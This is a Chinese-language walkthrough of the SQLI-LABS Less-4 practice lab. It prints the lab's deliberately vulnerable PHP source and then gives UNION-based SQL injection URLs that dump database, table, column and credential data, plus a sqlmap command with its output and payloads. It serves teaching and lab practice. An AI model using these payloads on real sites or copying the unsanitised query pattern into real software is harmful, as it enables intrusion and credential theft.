目录
SQLI-LABS 是一个专门为学习和练习 SQL 注入技术而设计的开源靶场环境,本小节使用手工注入和脚本注入共两种方法对第04关Less 04基于字符型(双引号括号闭合)的SQL注入关卡进行渗透实战。
一、字符型注入
字符型注入是 SQL 注入的一种类型,攻击者通过在输入字段中插入恶意 SQL 代码来改变原 SQL 语句的逻辑。字符型注入通常发生在SQL 语句使用单引号或者双引号等包裹字符串参数的场景中。攻击者通过闭合单引号或者双引号等符号并注入额外的 SQL 代码,破坏原有语句结构。
二、双引号括号闭合方式
对于SQL语句为$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";的情况,此时闭合方式为双引号括号,对比单纯的双引号闭合方式,具体如下所示
双引号闭合(" ) | 双引号括号闭合 | |
---|---|---|
SQL语句 | id="$id" | id=("$id") |
基础注入Payload | 1 " AND 1=1# | 1 ") AND 1=1# |
联合查询示例 | 1 "union SELECT 1,@@version,3# | 1 ") union SELECT 1,@@version,3# |
三、limit函数
Limit是 SQL 中用于限制查询结果数量的子句,不是真正的函数。Limit通常有两种常见形式,具体如下所示。
-
单参数形式:
LIMIT n
-
返回前 n 条记录
-
示例:
LIMIT 5
返回前5条结果
-
-
双参数形式:
LIMIT offset, count
-
offset
:跳过的记录数(从0开始) -
count
:要返回的记录数 -
示例:
LIMIT 10, 5
跳过前10条,返回接下来的5条
-
举例:SQL语句“SELECT * FROM users WHERE id=("$id") LIMIT 0,1”中的LIMIT 0,1"表示获取第一条匹配的记录",LIMIT0,1的具体含义如下所示,
-
从第0条记录开始(即不跳过任何记录)
-
只返回1条记录
四、源码分析
1、代码审计
本关卡Less04是基于字符型的SQL注入关卡,打开对应的源码index.php,如下所示。
Less04关卡的源码功能是简单基于id的查询页面。相对于第三关,区别主要是id的闭合方式变化由单引号括号变为了双引号括号,具体对比如下所示。
本关卡源码通过自动添加双引号包裹的GET参数id
构造SQL查询,可获取并显示用户凭证信息。详细注释后的源码如下所示。
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Less-4 Error Based- DoubleQuotes String</title> <!-- 双引号字符串报错注入 -->
</head>
<body bgcolor="#000000"> <!-- 黑色背景 -->
<div style=" margin-top:60px;color:#FFF; font-size:23px; text-align:center">
Welcome <font color="#FF0000"> Dhakkan </font><br>
<font size="3" color="#FFFF00"> <!-- 黄色文字显示区 -->
<?php
// 包含MySQL连接配置文件
include("../sql-connections/sqli-connect.php");
// 关闭错误报告
error_reporting(0);
if(isset($_GET['id'])) {
$id = $_GET['id']; // 直接获取用户输入
// 记录用户输入到日志文件
$fp = fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
// 危险操作:用双引号包裹用户输入
$id = '"' . $id . '"'; // 关键安全点
// 构造SQL查询 - 双引号+括号包裹
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
// 执行查询
$result = mysqli_query($con1, $sql);
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if($row) { // 查询成功
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username']; // 显示用户名
echo "<br>";
echo 'Your Password:' .$row['password']; // 显示密码(安全风险)
echo "</font>";
} else { // 查询失败
echo '<font color= "#FFFF00">';
print_r(mysqli_error($con1)); // 显示数据库错误(信息泄露)
echo "</font>";
}
} else { // 无id参数
echo "Please input the ID as parameter with numeric value";
}
?>
</font> </div><br><br><br>
<center>
<img src="../images/Less-4.jpg" /></center>
</body>
</html>
这是一个存在SQL注入安全风险的用户查询系统,主要功能是:
-
接收URL中的
id
参数 -
自动用双引号包裹输入值($id = '"' . $id . '"')
-
使用括号包裹参数执行查询(WHERE id=($id))
-
显示查询到的用户名和密码
-
查询失败时显示详细数据库错误
-
记录所有查询尝试到日志文件result.txt中
2、SQL注入安全分析
这个代码存在严重的SQL注入安全问题,原因如下:
-
未过滤的用户输入:直接将$_GET['id']通过双引号拼接到SQL语句中,没有任何过滤或转义处理。
-
非常规参数字符串拼接方式:SQL查询使用双引号括号包裹用户输入【id=( "用户输入" )】,攻击者可以闭合双引号括号注入恶意代码。
-
错误信息显示:当查询出错时,代码会通过print_r(mysqli_error($con1))显示MySQL错误信息,这有助于攻击者进行基于错误的SQL注入。
五、渗透实战
1、进入靶场
进入sqli-labs靶场首页,其中包含基础注入关卡、进阶挑战关卡、特殊技术关卡三部分有效关卡,如下所示。
http://127.0.0.1/sqli-labs/
其中第4关在基础注入关卡“SQLi-LABS Page-1(Basic Challenges)”中, 点击进入如下页面。
http://127.0.0.1/sqli-labs/#fm_imagemap
点击上图红框的Less04关卡,进入到靶场的第04关卡字符型注入关,页面提示“Please input the ID as parameter with numeric value”,具体如下所示。
http://127.0.0.1/sqli-labs/Less-4/
2、注入点分析
(1)SQL语句
根据源码分析可知,本关卡基于GET方法传入参数id,并未对id进行任何过滤,直接是用双引号和括号拼接到SQL语句中,故而注入点位id。SQL语句的含义是根据用户提供的ID值(字符型)从users表中查询并返回匹配的用户记录的所有字段信息,且仅返回第一条匹配结果,具体代码如下所示。
$id=$_GET['id'];
// 关键安全点,代码$id = '"' . $id . '"';的作用是给变量$id首尾添加双引号,将其转为带引号的字符串
$id = '"' . $id . '"';
// 构造SQL查询 - 双引号+括号包裹
$sql = "SELECT * FROM users WHERE id=($id) LIMIT 0,1";
根据传入SQL语句中的id赋值为( "id" )可知闭合方式为双引号括号,故而SQL注入为字符型注入。
(2)注入点id
根据上一步我们分析注入点为id,我们首先使用id=1进行探测,完整URL如下所示。
http://127.0.0.1/sqli-labs/Less-4/?id=1
尝试万能注入语句") or 1=1 -- ,如下为完整URL。
http://127.0.0.1/sqli-labs/Less-4/?id=1") or 1=1 --+
此时页面显示所有项目中的第一条查询结果,用户名和密码都是Dumb,具体如下所示。
3、手工注入
(1)获取列数
如下所示,order by为3时渗透成功,但是order by为4时提示列不存在,故而共有3列。
http://192.168.59.1/sqli-labs/Less-4/?id=1") ORDER BY 3--+
http://192.168.59.1/sqli-labs/Less-4/?id=1") ORDER BY 4--+
(2)获取回显位
如下所示,回显位为2和3,接下来我们使用第2个回显位进行渗透。
http://192.168.59.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,2,3--+
(3)获取数据库名
如下所示,数据库的名称为“security”。
http://192.168.59.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,DATABASE(),3--+
(4)获取表名
如下所示,数据库security共有4个表格,分别为emails,referers,uagents,users。
http://192.168.59.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,GROUP_CONCAT(TABLE_NAME),3 FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()--+
(5)获取列名
如下所示,数据库users表的列名分别为id,username,password。
http://192.168.59.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,GROUP_CONCAT(COLUMN_NAME),3 FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() and TABLE_NAME='users'--+
(6)获取数据
最后通过上一步获取到的列名来提取users表的内容,如下所示渗透成功。
http://192.168.59.1/sqli-labs/Less-4/?id=-1") UNION SELECT 1,GROUP_CONCAT(CONCAT(username,':',password)),3 FROM users--+
4、sqlmap渗透实战
我们使用sqlmap来进行渗透,参数的含义是获取当前数据库名称(--current-db)并导出所有数据(--dump),全程自动执行无需人工交互(--batch),闭合方式为双引号括号【即")】,*
号在sqlmap中是一个非常重要的标记符号,主要用于指定注入点位置完整的SQL注入命令如下所示,由于已知注入点为id,故而使用【id=1")*】标识注入点,完整注入命令如下所示。
sqlmap -u 'http://192.168.59.1/sqli-labs/Less-4/?id=1")*' --current-db --dump --batch
sqlmap渗透成功,可以通过报错法、时间盲注2种方法渗透成功,具体信息如下所示。
URI parameter '#1*' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 1137 HTTP(s) requests:
---
Parameter: #1* (URI)
Type: error-based
Title: MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)
Payload: http://192.168.59.1:80/sqli-labs/Less-4/?id=1") AND GTID_SUBSET(CONCAT(0x716b6a7071,(SELECT (ELT(6130=6130,1))),0x7176717671),6130)-- MLPV
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: http://192.168.59.1:80/sqli-labs/Less-4/?id=1") AND (SELECT 2056 FROM (SELECT(SLEEP(5)))AbWE)-- Zoxy
---
[01:01:57] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.39, PHP 5.5.9
back-end DBMS: MySQL >= 5.6
[01:01:57] [INFO] fetching current database
[01:01:57] [INFO] retrieved: 'security'
current database: 'security'
Table: users
[13 entries]
+----+------------+----------+
| id | password | username |
+----+------------+----------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
| 3 | p@ssword | Dummy |
| 4 | crappy | secure |
| 5 | stupidity | stupid |
| 6 | genious | superman |
| 7 | mob!le | batman |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dumbo | dhakkan |
| 14 | admin4 | admin4 |
+----+------------+----------+